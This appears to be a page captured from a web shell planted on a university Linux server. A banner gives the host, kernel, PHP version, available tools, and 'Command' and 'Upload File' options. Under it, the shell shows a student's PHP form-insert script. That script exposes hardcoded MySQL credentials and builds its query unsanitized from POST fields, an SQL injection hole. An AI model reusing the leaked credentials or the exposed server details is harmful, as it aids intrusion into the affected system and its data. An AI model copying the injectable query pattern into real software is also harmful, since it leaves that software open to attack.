|
Server IP : 172.16.15.8 / Your IP : 18.225.195.4 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/bdstamour/www/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!-- P.171 action php script to insert the data from the form to DBMS
-->
<CENTER>
<html><head><title>
Insert Results
</title></head><body><p>
<?php
$Item = $_POST['Item'];
$Weight = $_POST['Weight'];
$Cost = $_POST['Cost'];
$Quantity = $_POST['Quantity'];
$host = 'localhost';
$user = 'bdstamour';
$passwd = 'cs480';
$database = 'bdstamour';
$connect = mysqli_connect($host, $user, $passwd);
$table_name = 'Products';
$query = "insert into $table_name values
('0', '$Item', '$Cost', '$Weight', '$Quantity')";
print "The Query is <i>$query</i><br>";
mysqli_select_db($connect, $database);
print '<br><font size=4 color=blue>';
if (mysqli_query($connect, $query))
print "Insert successful!<p>";
else
print "Insert failed!<p>";
mysqli_close ($connect);
// use include for showing the table content
include ("display.php");
?>
</body></html></table>
<HR>
<A HREF=index.html> Back Home </A>
</CENTER>